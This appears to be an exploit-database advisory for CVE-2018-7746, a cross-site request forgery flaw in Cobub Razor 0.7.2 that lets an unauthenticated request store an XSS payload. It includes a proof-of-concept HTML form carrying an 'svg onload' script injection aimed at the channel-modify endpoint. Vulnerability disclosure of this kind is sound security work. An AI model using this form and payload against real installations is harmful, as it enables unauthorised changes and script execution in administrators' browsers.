Cobub Razor 0.7.2 Cross Site Request Forgery

2018.04.07

ppb (CN)

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-7746

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: [Cobub Razor 0.7.2 Cross Site Request Forgery]
# Date: [2018-03-07]
# Exploit Author: [ppb（ppb@5ecurity.cn）]
# Vendor Homepage: [https://github.com/cobub/razor/]
# Software Link: [https://github.com/cobub/razor/]
# Version: [0.72] 
# CVE : [CVE-2018-7746]

There is a vulnerability. Authentication is not required for /index.php?/manage/channel/modifychannel. For example, with a crafted channel name, stored XSS is triggered during a later /index.php?/manage/channel request by an admin.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/index.php?/manage/channel/modifychannel" method="POST">
      <input type="hidden" name="channel_id" value="979" />
      <input type="hidden" name="channel_name" value="xss><svg/onload=alert(1)>" />
      <input type="hidden" name="platform" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

See this note in RAW Version

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Cobub Razor 0.7.2 Cross Site Request Forgery

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